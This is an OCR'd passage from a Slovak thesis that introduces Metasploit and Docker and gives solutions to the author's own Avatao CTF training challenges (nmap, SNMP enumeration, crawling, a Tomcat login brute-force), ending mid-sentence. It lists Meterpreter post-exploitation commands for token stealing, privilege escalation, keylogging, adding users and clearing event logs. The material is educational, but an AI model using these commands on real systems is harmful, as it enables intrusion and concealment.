-> typ modulu, v tomto pripade auxiliary modul
class MetasploitModule < Msf::Auxiliary

-> pouzite ovladenie MSSQL

include Msf::Exploit::Remote::MSSQL

-> tento modul bude fungovat ako SQL skener
include Msf::Auxiliary::Scanner
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-> inicializacia sekcie main
def initialize

super (

’Name’ => I HAZ SQL Utility’, ->
nazov modulu

>’Version’ => ’$Revision: 7243 $’°, ->
cislo revizie

’Description’ => ’This just prints
some funny stuff.’, -> popis modulu

>Author’ => ’THE AUTHOR’, -> meno

autora modulu
’License’ => MSF _LICENSE -> standardna
licencia Metasploitu
)
-> RPORT a RHOST bez hodnoty
deregister_options (’RPORT’, ’RHOST?’)
end

-> definicia funkcie main
def run_host (ip)

-> start funkcie

begin

-> vypis textu (I HAZ SQL!!!!) na obrazovku
puts "I HAZ SQL!!t1t™

-> ukoncenie funkcie

end

-> ukoncenie definicie funkcie main

end

-> ukoncenie celeho modulu

end

Ak boli v8etky kroky spravne, potom pri vyhladavani v modu-
loch (pre tento priklad auxiliary/scanner) uvidime aj ten novovytvo-
reny[10].
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3.8 Prikazy

Tato cast pontika prehlad najcastejSie pouzivanych prikazov pre
Metasploit a jeho sti¢ast Meterpreter.
3.8.1 MSF konzola

show exploits/payloads/auxiliary zobrazenie vSetkych dostupnych
exploitov/payloadov/auxiliary modulov

search parameter zobrazenie vSetkych dostupnych modulov, ktoré
obsahujt hladany vyraz (parameter)

info zobrazenie dostupnych informaécii o vybratom mo-
dule

use parameter nacitanie vybratého (parameter) modulu

LHOST lokalna IP adresa tito¢nika, vaésinou v tvare verej-
nej IP adresy, najcastejSie pouzivany parameter na
reverzny shell

RHOST IP adresa cielového hosta

set parameter nastavenie Specifikovanej hodnoty, napriklad RHOST,
LHOST, PORT

setg parameter nastavenie Specifikovanej hodnoty globélne, napri-
klad RHOST, LHOST, PORT

show options zobrazenie nastaveni pre vybrany modul

show targets zobrazenie dostupnych platforiem pre vybrany ex-
ploit

set payload parameter nastavenie pouzivaného payloadu
exploit/run spustenie modulu s vybranymi parametrami

exploit -e parameter spustenie modulu so Specifikovanym kédova-
nim, napriklad shikata_ga_nai

sessions -1 zobrazenie dostupnych spojeni[2]
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3.8.2 Meterpreter
help otvorenie ndpovedy pre Meterpreter
sysinfo zobrazenie informdcif o cielovom systéme
Is zobrazenie obsahu prie¢inka na cielovom hoste

use priv nacitanie kniznic, tykajticich sa prav, potrebnych
pre ziskanie vys$sieho uZivatelského pristupu

ps zobrazenie vSetkych beZiacich procesov na cielo-
vom hoste

use incognito nacitanie inkognito funkcii, potrebnych na krad-
nutie tokenov

getsystem zvySenie povoleni na trovni systému pomocou
viacerych ttokov

shell zapnutie shellovej konzoly so vSetkymi dostup-
nymi tokenmi

execute -f cmd.exe -i spustenie prikazového riadka, ktoré je intera-
tivne

rev2self navrat na povodného uzivatela, vhodné pre mas-
kovanie

screenshot vytvorenie screenshotu obrazovky cielového hosta
upload file nahratie stiboru (file) na cielovy host
download file stiahnutie siboru (file) z cielového hosta
keyscan_start zaznamendvanie stlaceni klaves na cielovom hoste

add_user username password -h ip pridanie uzivatela (username) s
heslom (password) na cielovy host (ip)

clearev odstranenie logov udalosti (eventov) na cielovom
hoste

reboot restartovanie cielového systému[11]
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4 Docker

Docker je open sourcovy projekt s logom velryby, ktorého cielom
je poskytnit jednotné rozhranie pre izolaciu aplikécii do tzv. kontaj-
nerov. Tieto kontajnery st nezdvislé, a preto mozu bezat vSade, aj v
cloudovom prostredi.

Kontajner obsahuje iba pozadované aplikdcie a sticasti, ktoré st pre
ne potrebné, ale neobsahujii operacny systém. Vdaka tomu poskytuja
ovela niz8iu réZiu, ako klasické virtudlne stroje[12].

Medzi najvacsie vyhody dockerovych kontajnerov preto patria:
omnoho mensia velkost, vyssia flexibilita, mensie ndklady na pre-
vadzku[12].

Nevyhodou vsak je prepojenost s hostujicim operacnym systé-
mom, ktory je priamo pouZivany pre beh aplikdcii v kontajneroch[12].

4.1 Popis casti

Docker obsahuje 3 zdkladné casti:

o Klient

Vdaka klientovi dokéaze vadsina uzivatelov komunikovat s Doc-
kerom, je to najcastejsia volba. Po pouziti prikazu

docker run
posle klient prikazy démonovi, ktory ich vykona. Klient dokaze
komunikovat s viac ako jednym démonom[13].

e Démon

Dockerovy démon (dockerd) ¢akd na prikazy od Docker API a
spravuje objekty. Jeden démon dokaZe komunikovat s ostatnymi
a tym spravovat sluzby v kontajneri[13].

e Repozitar

Repozitar ukladd dockerové obrazy. Medzi najpopuldrnejsie
tloziska patria Docker Hub, ktory je nastaveny ako primarny
pri hladani obrazov a Docker Cloud.

Po pouziti prikazu
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docker pull/push/run

st obrazy stiahnuté/spustené /uloZené na nastavené tloZisko.

Tieto repozitare umoznuju obrazy kupovat, predévat alebo bez-
platne distribuovat[13].

e Objekt

Pri pouzivani Dockeru uZivatel vytvéra a vyuZziva obrazy, kontaj-
nery, siete, rozSirenia a dalSie sticasti, ktoré tento néstroj pontka.
Vsetky tieto komponenty sa nazyvaju objekty Dockeru.

— Obraz

Obraz je S8abléna s indtrukciami, pomocou ktorej je mozné
vytvorit kontajner. Va¢sinou tento obraz obsahuje ako za-
klad iny obraz s apravami. Napriklad ako zdklad moze byt
pouzity ubuntu obraz, ale okrem neho méZzu byt pouZité
iné sluzby a ich konfigurécia, ako napriklad Apache web
server.

Je mozné vytvorit vlastny obraz, alebo pouZit nejaky z volne
distribuovanych v tloziskach. Na vytvorenie vlastného ob-
razu je potrebny stbor Dockerfile (spomenuty neskor)[13].

— Kontajner

Kontajner je spustitelna verzia obrazu, ktort je moZzné spus-
tit, zastavit, vymazat alebo presuntt pomocou Docker roz-
hrania. Takyto kontajner je mozné pripojit do jednej alebo
viacerych sieti, pripojit k nemu tlozisko, vytvorit novy ob-
raz, ktory vyuziva aktudlny stav kontajnera, ...

Standardne je kontajner odrezany od ostatnych a od stroja,
na ktorom je spusteny a je mozné ho kontrolovat z inych
kontajnerov, alebo inych hostov.

KaZzdy kontajner je definovany jeho obrazom a tpravami
pred spustenim alebo vytvorenim. Ziadna zmena vykonana
po spusteni sa po ukonceni neuloZi.

Pokial nie je pouZity zdkladny obraz stiahnuty v systéme,
Docker si ho stiahne automaticky z preddefinovaného tlo-
ziska rovnako, ako by si to uZivatel stiahol manudlne sam[13].

Né&zov kontajneru pozostdva z prikazu - ndzov:tag.
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4.2 Dockerfile

Pre vytvorenie vlastného obrazu je potrebny stibor s ndzvom Doc-
kerfile. Tento stibor obsahuje jednoducht syntax, ktord definuje kroky
na vytvorenie a spustenie obrazu. Kazda instrukcia v Dockerfile vy-
tvara osobitnu vrstvu, preto sa pri tprave nejakého prikazu zmeni len
vrstva obsahujtica dant inStrukciu. Ak potrebujeme vykonat prikazy,
ktoré spolu stvisia (napriklad otvorenie priec¢inku a vykonanie nejakej
operécie v riom), je potrebné spustit prikazy v rovnakej vrstve, a teda
v rovnakom prikaze pomocou &&. Vdaka tymto vrstvdm je obraz
mensi, rychlejsi a jednoduchsi v porovnani s inymi virtualiza¢nymi
technolégiami[14].

4.2.1 Zakladna syntax pre vytvorenie Dockerfile siboru

¢ FROM

Obraz - ako zdklad vytvaraného. Tento prikaz musi byt pouZzity
ako prvy alebo vobec, pokial nepouZivame iny obraz ako zaklad.
Priklad:

FROM avatao/ubuntu:14.04

e MAINTAINER

Volitelny prikaz, ktory obsahuje meno autora kontajnera. Pri-
klad:

MAINTAINER 409773@mail.muni.cz

¢ RUN

Prikaz spustajtci operdciu, ktora mé byt vykonana pocas vytva-
rania obrazu. Pri potrebe viacerych instrukcii na jednej vrstve
pouZijeme &&. Priklad:

RUN apt-get update

e ADD

Prikaz, pomocou ktorého je mozné skopirovat stibor z lokalneho
hosta, alebo stiahnut stbor zo zadanej URL na ur¢ené miesto.
Priklad:
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ADD https://archive.apache.org/dist/tomcat/
tomcat-7/v7.0.85/bin/apache-tomcat-7.0.85.
tar.gz /tmp/

ENV

Definuje premennt pre dané prostrenie. Priklad:

ENV foo /bar

CMD

Prikaz na spustenie prikazov po vytvoreni kontajnera z obrazu.
Priklad:

CMD /opt/tomcat/bin/catalina.sh run

ENTRYPOINT

Standardny prikaz, ktory sa vykona po spusteni kontajnera. Pri-
klad:

ENTRYPOINT ["top", "-Db"]

WORKDIR
Priecinok, v ktorom sa ma spustit CMD prikaz. Priklad:

WORKDIR $DIRPATH/$DIRNAME

USER
Nastavi prava pouzivané v kontajneri po jeho vytvoreni. Priklad:

USER user

VOLUME

Povoli prepojenie priecinku medzi pripojenymi kontajnermi,
alebo medzi kontajnerom a hostom. Priklad:

VOLUME ["/data"]

EXPOSE

Tento prikaz informuje Docker, na ktorom porte ma ocakavat
komunikéaciu pocas behu. Je moZné nastavenie UDP alebo TCP,
ktoré je nastavené Standardne. Priklad:
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EXPOSE 8080

Tieto prikazy st postacuja pre vytvorenie funkéného Dockerfilu[14].

4.3 Zakladné prikazy pre Docker

build

exec

history

images

info

inspect

Vytvorenie obrazu z Dockerfile stiboru. Tento prikaz po-
trebuje ako parameter priecinok, v ktorom sa nachddza
Dockerfile stibor. Priklad vytvorenia obrazu s ndzvom
challenge:

docker build -t challenge

Spustenie nového prikazu v beZiacom kontajneri. Tento
prikaz potrebuje ako parameter ndzov beZiaceho kon-
tajnera a proces, ktory ma byt vykonany. Priklad:

docker exec challenge /bin/bash

Vypisanie histérie iprav daného kontajnera. Tento pri-
kaz berie ako parameter nazov kontajnera, ktorého his-
tériu chceme vidiet. Priklad:

docker history challenge

Vypisanie zoznamu vSetkych dostupnych obrazov. Pri-
kaz:

docker images

Vypisanie informdcii o Dockeri, ktoré obsahujt pocet
obrazov a kontajnerov, ich aktudlny stav, verzia, ... Pri-
kaz:

docker info

VypiSe informécie o konkrétnom objekte, napriklad
konfigura¢né tdaje, sietové tidaje, ... Tento prikaz berie
ako parameter ID objektu. Priklad:
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docker inspect challenge

kill Ukoncenie behu kontajnera (alebo viacerych). Tento pri-
kaz berie ako parameter ID kontajnera, ktory ma byt
ukonceny. Priklad ukonéenia v8etkych beZiacich kon-
tajnerov:

docker kill $(docker ps -q)

ps Vypisanie zoznamu vSetkych kontajnerov. Priklad vy-
pisania beZziacich kontajnerov:

docker ps -a

pull/push Stiahnutie obrazu z repozitara/nahranie obrazu na re-
pozitar. Tento prikaz berie ako parameter ndzov kontaj-
neru. Priklad:

docker pull/push challenge

rename Premenovanie kontajneru. Tento prikaz berie ako para-
meter ndzov kontajneru a novy nazov. Priklad:

docker rename challenge new_challenge

run Spustenie prikazu v novom kontajneri. Tento prikaz be-
rie ako parameter ndzov kontajneru. Priklad spustenia
kontajneru challenge:

docker run challenge

search Vyhladdvanie obrazov na Docker Hub. Tento prikaz
berie ako parameter vyhladavany vyraz. Priklad:

docker search challenge

version Vypis verzie Dockeru. Prikaz:

docker version

Vyssie spomenuté prikazy st postacujtice pre zdkladnt pracu s
Dockerom[15].
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5 Avatao

Avatao je platforma, ktort vytvorili ludia z madarského bezpec-
nostného timu CrySyS Lab z Budapesti. Ich cielom je ucit bezpe¢nost
praktickou cestou, nielen pozeranim videi, alebo ¢itanim navodov.
Preto pontkaji tlohy zamerané na rézne druhy bezpecnosti, ¢i uz
praktickej alebo teoretickej, vhodné pre v8etkych - zaciatocnikov, ale
aj profesionalov[16].

Tieto ulohy st zdruZené do urcitych okruhov podla nejakého
vzorca, autora alebo obsahu. Pontikaja tlohy zamerané na precvi-
¢ovanie urcitych nastrojov pouZzivanych aj pri penetracnom testovant,
bezpecného kédu a programovania, rdznych oblasti bezpe¢nosti, akym
moZe byt napriklad reverzné inzinierstvo.

[ R & -

Secure Coding in Java

by Avatao Pr

OWASP Top 10 2017 Web Security

by Avatao Prer

by Avatao munity

cal Web Application Common web application vulnerabilities This path touches a wide range of security issues
while programming in Java

s i
17 0/35  0/1350

g i e {
1 774 175/4400 9 34 25/2675

Obr. 5.1: Priklad dloh na Avatau.
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/éh AC N Nimadin,

Avatao tool tutorials: Wireshark Security Operation Center (SOC) CrySyS SecChallenge 2014

Community by CrySyS Student Core

Operat”

by Avatao Pren

llenges of CrySyS SecChallenge

eshark: This tutorial will teach you how to Let's test your forensics and incident response Complete all the

analyze network traffic. knowledge 2014 to enhance your hands-on skills in IT security

l |
82 0/7 0/200 5 24 0/1420 122 2 25/6065

Obr. 5.2: Priklad dloh na Avatau.

Avatao pontka viac druhov tloh:

Statické - v tomto type tloh si uZivatel stiahne staticky stbor
(binarku, pcap, alebo iny typ), s ktorym pracuje,

Dynamické - v dynamickom type si uzivatel spusti virtudlne pro-
stredie beZiace v Dockeri, na ktorom sa zvycajne na-
cvi¢uju rozne ttoky, napriklad na webovt sluzbu,
pomocou urcitych nastrojov,

Programovacie - typ tloh, ktoré sa snaZzia precvicit pisanie bezpec-
ného kédu kontrolované pomocou réznych testov.

Vsetky tlohy st kontrolované viacerymi spdsobmi. Bud pomocou
statickej vlajky, ku ktorej sa uZivatel musi dopracovat, alebo musi prejst
testami resp. inymi naprogramovanymi kontrolérmi. Avatao na svojej
dockerhub stranke pontka rézne Sablény na vytvorenie Dockerfilov
pre dynamické tlohy, ale aj Sablény na vytvorenie kontrolérov.

Pre vytvorenie tloh je potrebné dodrziavat urcita Struktaru, ktora
je nahrata na github tcet Avataa, odkial je potom moZné pomocou
Sablén vytvorit funként tlohu beZziacu na Avatau. Tento posledny krok
maju pravo vytvorit iba ¢lenovia Avataa. Bezny uZivatel s pravami
vytvérania tloh dokédZe nahrat stibory do github repozitara a ¢akat
na ich vytvorenie priamo na portali.
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B .droneyml

E) LICENSE

E) README.md

B config.yml

E) controller/Dockerfile

B) controller/opt/server.py
E) metadata/description.md
E) metadata/summary.md
E) metadata/writeup.md

» [E solvable/Dockerfile

Obr. 5.3: Strukttira tlohy na githube.

Popis Struktary:

.drone.yml - stibor, ktory md pevne stanovendt Struk-
taru od Avataa, pri jeho zmene nemusi
dana tloha fungovat

LICENSE - stbor vytvoreny githubom
README.md - stibor vytvoreny githubom, popis ce-
1ého repozitara

config.yml - najdoleZiteji sabor, ktory popisuje cel-
kové bodové hodnotenie tlohy, odporu-
¢ané zdroje, otvorené porty, ¢i je vlajka
statickd, ak &no, potom aj jej hodnotu

controller/Dockerfile - dockerfile kontroléra
controller/opt/server.py -koéd kontroléra, ktory v tomto pripade
kontroluje staticka vlajku (stubor, ktory je
skopirovany v Dockerfile do virtudlneho
hosta)
metadata/description.md - popis zadania tlohy a zaciato¢ného po-
stupu rieSenia
metadata/summary.md - popis, ktory sa zobrazuje pri miniattre
ulohy (ako je mozné vidiet ajna 5.1).
metadata/writeup.md - popis rdd aj s bodovou penaliz4ciou, rie-
Senie celej tlohy
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5. AVATAO

solvable/Dockerfile - dockerfile, ktory obsahuje tlohu (pri-
tomny iba pri dynamickom type)

Avatao tloha obsahuje:

bodové ohodnotenie,
kltcové slova,
popis,

odportcané zdroje.

Dumb user ShEasy (D70 FHints 22
by Katarina Hornackova o

B GED

You have already solved this challenge. You don't need to solve it again, but you are free to do so.

Git clone url

https://github.com/avatao-content/vlcik-dumb-user-2018-04-20.git

Skill tags

[ Metasploit ][ Offensive] [ Linux ] ) Recommended readings
DESCFiP‘tiOﬂ Some Metasploit possibilities
Good job!

You are master of crawling. Now something harder. Your Boss
knows that he has some dumb

employees. Could you help him to retrieve password of user
"dumb”? He knows only username and

that this user works with tomcat service. But that all.

Itis up to you

Your flag will be password of this dumb user.

PS: Do not forget, that the IP and port below won't accept
netcat connections (despite the message).

Obr. 5.4: Uloha na Avatau.
Po spusteni tilohy obsahuje aj:

e IP adresu a port (tento bod obsahuje iba dynamicka taloha),
e rady,
e miesto na zadanie vlajky.
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5. AVATAO

Hints

£ v Guideline g0 O

Start your environment

Hey there! To start your environment, please click on the button below.

Obr. 5.5: Uloha na Avatau pred spustenim.

Your environment

@ Always save your work as your environment will be lost when you finish the challenge.

Raw TCP

This challenge requires the use of a raw TCP connection (telnet/nc/custom-client):

nc 78.46.160.115 33110

Submit your solution

Enter your acquired flag here...

Check solution

| Stop the environment

Obr. 5.6: Uloha na Avatau po spustent.
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Basic Tool tutorial: Metasploit

by Avatao Beta Community

Path

Lf Details

@ challenges

Magic Tool
Scanner or Not?
Somewhere in the Host
Spider and his Webs
Dumb user

Hidden in the sand

Wow, you're almost
done!

Get closer to your goal by solving new
challenges today.

83%

& © @
5/6 210/360

~

( Leave path ]

Path details

Description

In this path you will work with very useful pentester tool -
Metasploit. All challenges are prepared for this tool (of course,
there are also some ways how to do it without metasploit but
this path is to learn how to work with this tool). You need to run
metasploit in your host. You can find some installation guides on
the Internet. All challenges are tested from Linux machine with
version 4.14.13-dev of Metasploit Framework and also version
4.14.13-dev of Metasploit console. | hope you will ...

Show more
Leaming outcome
These challenges contain only basic functions of
Metasploit like choice of the correct module, co ...

Show more

Success criteria
Complete 100% of all the challenges on this path.

CEICED

Obr. 5.7: Uk&zka Avatao okruhu.
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5.1 Ulohy

Cielom mojej praktickej ¢asti bolo vytvorenie tiloh pre Avatao. Tato
sada je pripravena na precvicenie a zédklady prace s ndstrojom Metasp-
loit. Pribeh sa odohrava vo fiktivnej bezpe¢nostnej firme Mefisto, ktora
zamestnala nového penetra¢ného testera a snazi sa prejst drobnymi
bezpecénostnymi problémami.

5.1.1 Zazracny nastroj

Nézov na Avatau: Magic tool

ObtiaZnost: jednoduché

Pocet bodov: 10/500

Vlajka pre ttito tlohu: 2012

Cielom tejto tlohy je otvorenie Metasploit konzoly a pouzitie jed-
noduchého prikazu, v tomto pripade prikazu

search,

ktory je dokazom toho, Ze tato konzola naozaj funguje spravne.
Oficidlne zadanie tlohy: Ako mlady pentester v novej firme Me-
fisto, je potrebné ovladat urcité nastroje. Metasploit je jeden z najprefe-
rovanejsich v tejto spolo¢nosti, preto je potrebné vediet s nim pracovat.
Tvojou tlohou je vysktSanie elementdrnej funkcie Metasploitu. Je
potrebné zadat spravny prikaz, a to je vSetko.
Uvidi$ zazra¢na vetu:

[*] STARTING THE METASPLOIT FRAMEWORK CONSOLE
v

a taktiez nejaké ASCII obrazky.
Vyhladaj nmap néstroje a najdi datum uzavretia modulu setuid
nmap exploit. Tvojou prvou vlajkou bude rok tohto datumu.

Rady:

o Ako zapnut Metasploit konzolu -20 % bodov
Prikaz

msfconsole
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5. AVATAO

o Aky prikaz pouZit na najdenie vlajky -30 % bodov
Prikaz

search

v Metasploit konzole

o Celé znenie prikazu na najdenie vlajky -40 % bodov
Prikaz

search nmap

Celé rieSenie:
Po zadani prikazu

search nmap

uvidime vysledok hladania, ako na obrazku 5.8

st > search nmap

Matching Modules

Disclosure Date Rank

nat/bnat_scan nornal canner
er/kerberos_enumusers normal Kerberos Domain User Enumeration
pe xy

normal HTTP Open Proxy Detection
normal
normal
normal cl Login Utilit
normal
normal

2011-09-19 .php/nbtscan.php Remote Command Execution
201 2 aul 0GNL Code Execution
20

uid Nmap Exploit

3 ell NetMail NMAP STOR Buffer Overflow
ell_bind_tcp_random_port normal and Shell, Bind TCP Random Port Inline
x/x86/shell_bind_tcp_random_port normal x Command Shell, Bind TCP Random Port Inline

Obr. 5.8: Vysledok hladania tilohy 1.

Podla zvyrazneného riadku vidime ddtum: 2012-07-19. KedZe vlaj-
kou pre tato tlohu ma byt rok, tak odpovedou je 2012.

5.1.2 Skener alebo nie?

Nazov na Avatau: Scanner or Not?

ObtiaZznost: jednoduché

Pocet bodov: 30/500

Vlajka pre ttto tlohu: ssh

Cielom tejto tlohy je ukazka toho, ze Metasploit dokaze pracovat
aj s externymi nastrojmi. Jednym z nich je aj nmap. V tejto tlohe ma
uzivatel zistit beZiacu sluZzbu na danom porte.
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Oficidlne zadanie tdlohy: Vyborne! Teraz uz vies, ako zapnut tento
zdzraény néstroj. Tvoj $éf ale potrebuje, aby si vedel, ako sa s tymto na-
strojom robi. Dal$fm krokom je preto skenovanie nejakého hosta. Moze
byt zranitelny. Skus preto pouZit nejaky nastroj alebo payload/exploit
na skenovanie tohto hosta. Vela Stastia.

Tvojou vlajkou bude sluzba beziaca na danom porte.

Rady:

o Aky druh néstroja je potrebné pouzit -0 % bodov
Aktivny skener

e Co moZe byt uZitoéné spustit -40 % bodov
Naéstroj nmap

e Ako ho spravne nastavit -50 % bodov
Prikaz

nmap -sV IP_address -p port

Celé rieSenie:
Po zadani prikazu

nmap -sV IP_address -p port

uvidime vysledok, ako na obrazku 5.9.

msf > nmap 78.46.212.166 -p 33044 -sV
exec: nmap 78.46.212.166 -p 33044 -sV

Starting Nmap 7.81 ( https://nmap.org ) at 2018-85-88 089:44 BST

Nmap scan report for static.166.212.46.78.clients.your-server.de (78.46.212.166)

Host is up (0.0061s latency).

PORT STATE SERVICE VERSION

33044/tcp open ssh OpenSSH 6.6.1pl Ubuntu 2ubuntu2.1@ (Ubuntu Linux; protocol 2.8)
Service Info: 0S: Linux; CPE: cpe:/o:linux:linux kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 1.89 seconds

Obr. 5.9: Vysledok spustenia nastroja nmap tlohy 2.

Na danom porte beZi sluZzba ssh. Preto je vlajkou pre ttito tlohu
préve ssh.
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5.1.3 Niekde v hoste

Nazov na Avatau: Somewhere in the Host

ObtiaZznost: jednoduché

Pocet bodov: 50/500

Vlajka pre tato dlohu: GO0Od

Pouzity modul: auxiliary/scanner/snmp/snmp_enum 5.10

msf auxiliary( ) = info

Name: SNMP Enumeration Module
Module: auxiliary/scanner/snmp/snmp_enum
License: Metasploit Framework License (BSD)
Rank: Normal

Provided by:
Matteo Cantoni <goony@nothink.org=

Basic options:
Name Current Setting Required
COMMUNITY public yes S Community String
RETRIES 5 yes SNMP Retries
RHOSTS 172.17.0.2 88.99.13.190 yes The target address range or CIDR identifier
RPORT 33066 V= The target port (UDP)
THREADS 1 yes The number of concurrent threads
TIMEOUT 1 yes SNMP Timeout
VERSION 1 yes SNMP Version <1/2c>

Description:
This module allows enumeration of any devices with SNMP protocol
support. It supports hardware, software, and network information.
The default community used is "public".

Obr. 5.10: Informacie o pouZitom module v tilohe 3.

Cielom tlohy je skenovat host pomocou protokolu snmp. Pomocou
spravnych nastaveni a vyberu vhodného modulu dokdzeme pomocou
tejto sluzby zistit naozaj vela informécii, pretoZe tento protokol sltizi
aj na monitorovanie celkového stavu hostu (¢i uz stav procesorov,
pamiite, ...), jeho sluzieb, pripojeni, beZiacich procesov, ... atd.

Oficidlne zadanie tlohy: Tvoj $éf si mysli, Ze skenovanie prostred-
nictvom ndstroja nmap bolo prili§ jednoduché. Dokazes skenovat aj
inym sp6sobom?

Na zranitelnom hoste mo6Zzes najst sluzbu (tato sluzba bezi na UDP
porte), ktortt dokazes vyuZit v dalsom kroku. Pokds sa ziskat ¢o najviac
informadcii o celom systéme a garantujem ti, Ze vlajka bude niekde
medzi nimi. V dalSom kroku ti odportc¢am néjst modul spojeny so
sluzbou beZiacou na UDP porte.
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Rady:

e Co mdze byt pouZité v nasledujticom kroku -20 % bodov
SNMP protokol

e Aky modul pouZit -30 % bodov
Modul

use auxiliary/scanner/snmp/snmp_enum

e Co je potrebné nastavit v danom module -25 % bodov
Je potrebné nastavit ip adresu a port.
e Kde je ukrytd vlajka -15 % bodov v beZiacich procesoch

Celé rieSenie:

Po vybrati sprdvneho modulu a spravnych nastaveni uvidime na-
sledujtci vysledok:

Vo vysledku spusteného modulu je vela informacii o cielovom
hoste. Posledna cast tychto informacii obsahuje ¢ast o beZiacich pro-
cesoch, kde je ukrytd vlajka pod nazvom Flag:G00d. TakZe rieSenim
tejto dlohy je slovo G00d.
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msf auxiliary( > set rport 32778

rport 32770

msf auxiliary( = set rhosts 88.99.14.32
rhosts == 88.99.14.32

msf auxiliary( > run

[+] 88.99.14.32, Connected.
[*] System information:

Host IP : 88.99.14.32

Hostname : 14892fe5blld

Description ! Linux 14892feS5blld 3.18.8-693.
64

Contact : root

Location : Unknown

Uptime snmp : 113 days, 83:02:45.23

Uptime system : 00:00:19.41

System date : 2018-5-8 13:37:82.8

[*] Network information:

IP forwarding enabled
TCP segments received
TCP segments sent

TCP segments retrans
Input datagrams
Delivered datagrams
Output datagrams

[*] Network interfaces:

Interface
Id
Mac Address
softwareLoopback
18 Mbps
: 65536
In octets H ]
Qut octets ¢

Obr. 5.11: Vysledok po spusteni modulu v dlohe 3 (zaciatok).

[*] Processes:

Id Status Name Path Parameters

1 runnable supervisord fusr/bin/python fusr/bin/supervisord
or/supervisord.conf

9 runnable sleep Flag:geed 10800680008

11 running snmpd fusr/sbin/snmpd

Scanned 1 of 1 hosts (108% complete)
Auxiliary module execution completed

Obr. 5.12: Vysledok po spusteni modulu v tlohe 3 (koniec - vlajka).
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5.1.4 Pavik a jeho pavuciny

Nézov na Avatau: Spider and his Webs
ObtiaZznost: jednoduché

Pocet bodov: 50/500

Vlajka pre tito dlohu: cr4Wler

Pouzity modul: auxiliary/scanner /http /crawler

msf auxiliary( ) > info

Name: Web Site Crawler
auxiliary/scanner/http/crawler
letasploit Framework License (BSD)
Normal

e o Required Des

DOMAIN 1 ain to use for windows authentication

HttpPassword The HTTP password to specify for authentication
HttpUsername The HTTP username to specify for authentication
MAX_MINUTES 5 The maximum number of minutes to spend on each URL
MAX_PAGES 500 /i The maximum number of pages to crawl per URL
MAX_THREADS 4 The imum number of concurrent reguests

Proxies A pro: ain of format type:host:port[,type:host:portl[...]
RHOST 78.46.212.166 i The target address

RPORT 33000 { The target port

SSL false Negotiate SSL/TLS for outgoing cennectiens

URL / The starting page to crawl

VHOST HTTP server virtual host

Description:
Crawl a web site and store information about what was found

Obr. 5.13: Informacie o pouzitom module v tlohe 4.

Cielom tejto tlohy je prehladavanie stranok pomocou tzv. cra-
wlingu alebo spideringu, ktoré dokdZu pomocou automatizacie pre-
hladdvat dostupné a najcastejSie pouzivané stranky. Vdaka tomuto
néstroju je mozné ovela jednoduchSie a rychlejSie zistit vSetky do-
stupné sticasti, ako manualnym vyhladavanim.

Oficidlne zadanie alohy: Vyborne, teraz uz vies, ako je mozné
skenovat dany host. Tvojou dalSou dlohou je ndjst vSetky aktivne
stranky a sticasti na IP adrese IP_adresa. DokaZes$ to?

Vlajka sa ukryva niekde medzi webstrankami, alebo medzi plu-
ginmi, alebo ...

Rada: nemusi$ to robit rucne.
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Rady:

e Aky néstroj pouzit -0 % bodov
Nastroj na crawling

e Aky payload/exploit pouZit -40 % bodov
Modul

use auxiliary/scanner/http/crawler

e Co je potrebné nastavit v danom module -20 % bodov
Je potrebné nastavit ip adresu a port
e Ako spravne nastavit hodnoty v module -30 % bodov

set RHOST ip_adresa

set RPORT port

Celé rieSenie:

Po vybrati sprdvneho modulu a pri spravnych nastaveni uvidime
nasledujtci vysledok: V hladani aktivnych stranok a stcasti vidime
aj riadok, ktory obsahuje flag.css. Dant adresu preto zaddme do pre-
hliadaca, kde uvidime obsah stboru, ktory obsahuje vlajku.

Z obsahu je jasné, Ze vlajkou pre ttto tlohu je slovo crdWler.
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> set rhost 78.46.212.166

> set rport 33

hemes/defaul
/ 60] hemes/defaul
105001 5 66 6 hemes/default
500] .4 8 4 3 /themes/default/
105001 .4 66 6 hemes/default
105001 5 66 6 hemes/default
500] -4 hemes/defaul
105001 2 5 212.166 E 46.212.166: hemes/default
105001 .4 66 E 66: hemes/default
500]
105001

/favicon.ico
hemes/default/user/

05081
580]

80]
105001
/88508]
105001
6/00500]
/885008]
105001
105001
500] B
105001 B 66 6 / _server.html

complete

Obr. 5.14: Vysledok po spusteni modulu v dlohe 4.

[ 78.46.212.166:330004mp/flz. X | =+

-

(@ 78.46.212.166:33000/tmp/flag.css

= Q @

(¢

#autocomplete {
flag: crdwWler
1

Obr. 5.15: Vysledok po zadani URL do prehliadaca.

5.1.5 Hlupy uzivatel

Nézov na Avatau: Dumb user
ObtiaZnost: jednoduché
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Pocet bodov: 70/500

Vlajka pre ttto alohu: rolel

Zranitelna stcast: Apache Tomcat verzia 7.0.85, s povolenym ma-
nagerom

Pouzity modul: auxiliary/scanner/http /tomcat_mgr_login

Imsf auxiliary( ) = info

Name: Tomcat Application Manager Login Utility
Module: auxiliary/scanner/http/tomcat _mgr_login
License: Metasploit Framework License (BSD)

Rank: Normal

Provided by:
MC tasploit. com=
Matteo Cantoni <goony@nothink.org=
jduck <jduck@metasploit.com>

Basic options:
Nai

BLANK_PASSWORDS fe passwords for all users

BRUTEFORCE_SPEED 5 q How fast to bruteforce, from 8 to 5

DB_ALL CREDS false Try each user/password couple stored in the current database
DB_ALL PASS false Add all passwords in the current database to the list
DB_ALL_USERS false Add all users in the current database to the list

PASSWORD The HTTP password to specify for authentication

PASS FILE pass_file File co ining passwords, one per line

Proxies ain of format type:host:portl,type:host:port]l[...]
RHOSTS 9.14. address range or CIDR identifier

RPORT 3 /i The target port (TCP)

SsL e Negotiate SSL/TLS for outgoing connections

STOP_ON SUCCESS lse y Stop guessing when a credential works for a host

TARGETURI /manager/html URI for Manager login. Default is /manager/html

THREADS 1 / The number of concurrent threads

USERNAME dumb The HTTP username to specify for authentication
USERPASS_FILE userpass File containing users and passwords separated by space, one pair per line
USER_AS PASS false Try the username as the password for all users

USER_FILE user_file File containing users, one per line

VERBOSE true Whether to print output for all attempts

VHOST HTTP server virtual host

Description:
This module simply attempts to login to a Temcat Application Manager
instance using a specific user/pass.

Obr. 5.16: Informécie o pouZzitom module v tlohe 5.
Zranitelnosti:

CVE-1999-0502 Pouzivanie unixovych tétov so Standardnymi (po-
vodnymi), alebo Ziadnymi, alebo chybajticimi heslami[17].

CVE-2009-3548 Windows instalator sluzby Apache Tomcat pre verzie
6.0.0 - 6.0.20, 5.5.0 - 5.5.28 a pravdepodobne aj skorsie, pouZzi-
vaju prazdne hesld pre uzivatela administrdtor, ¢o umoznuje
